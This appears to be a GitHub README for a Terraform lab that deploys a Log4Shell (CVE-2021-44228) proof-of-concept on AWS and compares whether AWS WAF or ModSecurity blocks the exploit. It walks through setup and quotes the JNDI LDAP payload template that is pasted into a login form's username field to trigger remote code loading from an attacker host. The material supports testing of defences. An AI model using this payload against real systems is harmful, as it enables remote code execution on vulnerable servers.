moshuum/tf-log4j-aws-pocThis project files demostrate a proof-of-concept of log4j vulnerability (CVE-2021-44228) on AWS using Terraform Infrastructure-as-a-code means.
This project files demostrate a proof-of-concept of log4j vulnerability (CVE-2021-44228) on AWS using Terraform Infrastructure-as-a-code means.
There are 2 demo in this project:
Conclusion: The 1st demo demostrate a successful exploit using AWS WAF. The 2nd demo was an unsuccessful attempt when ModSecurity is in placed. Removing ModSecurity the exploit will be successful. It may be because ModSecurity is an active project therefore the vulnerable strings has been identified and filtered.
This poc was from : https://github.com/kozmer/log4j-shell-poc
This medium blog explain how her attempt walkthrough : https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Personally, I tested using Windows + Powershell, cloud machine is Ubuntu 18 LTS. (Exploitation with kali or any linux)
Create via web (Name it 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Select user > Select section security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
After running, an IP / DNS will be listed.
For single-instance, ensure http:<aws host url>:8080 is accessible
For double-instance, ensure http:<aws host url> is accessible
* please note that spining up 'double-instance' takes a lot more time, can use journalctl -f after ssh into the system to track progress
If you do follow journal, "Reached target Cloud-init target." means its ready state.
Set execute permission
chmod +x ../exploit-script-remote.sh
Run script with supplied variable
../exploit-script-remote.sh
Note the payload is displayed end of script similar to ${jndi:ldap://<ip-address>:1389/a}
Visit http:<aws host url>:8080
Copy the payload into the 'username' field then submit forms
JDK file: have ensure the integrity from baidu source is same hash from Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Spot instance: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
Waf: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templating: https://spacelift.io/blog/terraform-templates
